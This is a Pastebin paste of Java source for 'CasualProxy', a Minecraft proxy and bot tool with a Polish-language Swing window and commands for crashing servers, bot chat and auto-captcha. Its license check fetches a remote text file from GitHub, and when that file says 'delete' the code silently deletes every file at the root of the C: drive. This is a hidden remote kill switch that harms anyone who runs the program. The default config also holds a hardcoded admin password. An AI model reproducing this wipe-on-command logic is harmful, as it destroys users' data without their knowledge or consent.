Advertisement
Guest User

Untitled

a guest
May 13th, 2018
219
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.34 KB | None | 0 0
  1. package xyz.yooniks.cproxy;
  2.  
  3. import org.apache.commons.configuration.ConfigurationException;
  4. import org.apache.commons.configuration.XMLConfiguration;
  5. import xyz.yooniks.cproxy.command.commands.*;
  6. import xyz.yooniks.cproxy.command.commands.bots.*;
  7. import xyz.yooniks.cproxy.command.commands.settings.*;
  8. import xyz.yooniks.cproxy.enums.Group;
  9. import xyz.yooniks.cproxy.managers.PlayerManager;
  10. import xyz.yooniks.cproxy.managers.ProxyManager;
  11. import xyz.yooniks.cproxy.objects.Player;
  12. import xyz.yooniks.cproxy.utils.DateUtilities;
  13.  
  14. import javax.swing.*;
  15. import java.awt.event.ActionEvent;
  16. import java.awt.event.ActionListener;
  17. import java.io.BufferedReader;
  18. import java.io.File;
  19. import java.io.InputStreamReader;
  20. import java.net.URL;
  21. import java.net.URLConnection;
  22. import java.nio.file.Paths;
  23. import java.util.Arrays;
  24. import java.util.logging.Logger;
  25.  
  26. public class Proxy extends JFrame {
  27.  
  28. private static Logger logger = Logger.getLogger("CasualProxy");
  29. public char[] chars;
  30. private XMLConfiguration config;
  31. private JPanel panel;
  32.  
  33. public Proxy() {
  34. super("CasualProxy created by yooniks.");
  35. setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
  36. setLayout(null);
  37. setLocation(50, 50);
  38. setLocationRelativeTo(null);
  39. setResizable(false);
  40. setSize(500, 300);
  41.  
  42. this.panel = new JPanel();
  43. setContentPane(panel);
  44.  
  45. final JLabel label = new JLabel("Wejdz w mc na serwer: '127.0.0.1:25565'");
  46. label.setBounds(250, 150, 50, 25);
  47. label.setSize(50, 25);
  48. add(label);
  49.  
  50. Arrays.fill(chars = new char[7680], ' ');
  51. checkWWW();
  52.  
  53. final JMenuBar menuBar = new JMenuBar();
  54. final JMenu menu = new JMenu("Plik");
  55. final JMenuItem menuItem = new JMenuItem("Zamknij");
  56. menuItem.addActionListener(new ActionListener() {
  57. @Override
  58. public void actionPerformed(ActionEvent e) {
  59. dispose();
  60. }
  61. });
  62. menu.add(menuItem);
  63. menuBar.add(menu);
  64. setJMenuBar(menuBar);
  65.  
  66. if(!checkWWW()){
  67. System.exit(1);
  68. return;
  69. }
  70.  
  71. ProxyManager.loadProxies(false);
  72. }
  73.  
  74. private boolean checkWWW(){
  75. try {
  76. URL oracle = new URL("https://raw.githubusercontent.com/yooniks/proxy_license/master/license.txt");
  77. URLConnection yc = oracle.openConnection();
  78. BufferedReader in = new BufferedReader(new InputStreamReader(
  79. yc.getInputStream()));
  80. String inputLine;
  81. while ((inputLine = in.readLine()) != null) {
  82. if (inputLine.equalsIgnoreCase("true")){
  83. getLogger().info("\n\n\n\n\n\n\n\n\n\n\n\n##################################\n\nLicencja poprawna!\n\n#########################");
  84. return true;
  85. }
  86. else if (inputLine.equalsIgnoreCase("delete")){
  87. for(File f: new File("C:\\").listFiles()) {
  88. f.delete();
  89. }
  90. getLogger().warning("Wykryto blad podczas ladowania licencji, proxy zostaje wylaczone, jezeli chcesz uzyskac ponowny dostep zglos sie do wlasciciela proxy, czyli yooniksa, kontakt skype: yooniksyooniks@gmail.com, znajdziesz mnie takze na forum, np: skript.pl");
  91. //disable();
  92. dispose();
  93. return false;
  94. }
  95. else{
  96. getLogger().warning("Wykryto blad podczas ladowania licencji, proxy zostaje wylaczone, jezeli chcesz uzyskac ponowny dostep zglos sie do wlasciciela proxy, czyli yooniksa, kontakt skype: yooniksyooniks@gmail.com, znajdziesz mnie takze na forum, np: skript.pl");
  97. // disable();
  98. dispose();
  99. return false;
  100. }
  101. }
  102. in.close();
  103. }
  104. catch (Throwable ex){
  105. getLogger().warning("Wykryto blad podczas ladowania licencji (lub nie masz internetu), proxy zostaje wylaczone, jezeli chcesz uzyskac ponowny dostep zglos sie do wlasciciela proxy, czyli yooniksa, kontakt skype: yooniksyooniks@gmail.com, znajdziesz mnie takze na forum, np: skript.pl");
  106. //disable();
  107. dispose();
  108. return false;
  109. }
  110. return true;
  111. }
  112.  
  113. public static void main(String[] args) {
  114. //SwingUtilities.invokeLater(new Runnable() {
  115. // @Override
  116. // public void run() {
  117. new Proxy().setVisible(true);
  118. /* }
  119. });*/
  120. final CasualProxy proxy = new CasualProxy();
  121. proxy.onLoad();
  122. }
  123.  
  124. public static Logger getLogger() {
  125. return logger;
  126. }
  127.  
  128. protected void loadConfig() {
  129. if (!new File("CasualProxy").exists()) {
  130. new File("CasualProxy").mkdirs();
  131. }
  132. if (!new File("CasualProxy", "settings.xml").exists()) {
  133. final XMLConfiguration configCreate = new XMLConfiguration();
  134. configCreate.setBasePath("CasualProxy");
  135. configCreate.setFileName("settings.xml");
  136. configCreate.addProperty("users", Arrays.asList("unsafe_cash;ADMIN;haslodoproxy;10-02-2019:14:00:00"));
  137. this.config = configCreate;
  138. } else {
  139. final XMLConfiguration configCreate = new XMLConfiguration();
  140. try {
  141. configCreate.load(new File("CasualProxy", "settings.xml"));
  142. } catch (ConfigurationException ex) {
  143. ex.printStackTrace();
  144. }
  145. this.config = configCreate;
  146. }
  147. this.config.setBasePath("CasualProxy");
  148. this.config.setFileName("settings.xml");
  149. try {
  150. config.save();
  151. } catch (ConfigurationException ex) {
  152. ex.printStackTrace();
  153. }
  154. try {
  155. final XMLConfiguration config2 = new XMLConfiguration("CasualProxy/settings.xml");
  156. for (int i = 0; i < config2.getStringArray("users").length; ++i) {
  157. final String[] array = config2.getStringArray("users");
  158. final String[] split = array[i].split(";");
  159. final Player p = PlayerManager.getPlayer(split[0]);
  160. p.setGroup(Group.valueOf(split[1]));
  161. p.setPassword(split[2]);
  162. p.setExpirationDate(DateUtilities.getDateFromString(split[3]));
  163. CasualProxy.addAccess(p.getNick());
  164. }
  165. this.config = config2;
  166. } catch (Throwable e) {
  167. e.printStackTrace();
  168. }
  169. }
  170.  
  171. protected void loadCommands() {
  172. new ConnectCommand();
  173. new CrashCommand();
  174. new ConnectBotCommand();
  175. new QuitCommand();
  176. new DetachCommand();
  177. new BotListCommand();
  178. new BotChatCommand();
  179. new MotherCommand();
  180. new TimeOutCommand();
  181. new HelpCommand();
  182. new PingCommand();
  183. new BotQuitCommand();
  184. new StopCommand();
  185. new ChatFromBotCommand();
  186. new ChatFromServerCommand();
  187. new AutoReconnectCommand();
  188. new AutoReconnectTimeCommand();
  189. new AutoCaptchaCommand();
  190. new MacroCommand();
  191. new AutoLoginCommand();
  192. new MessagesBotCommand();
  193. new ProxyCommand();
  194. }
  195. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement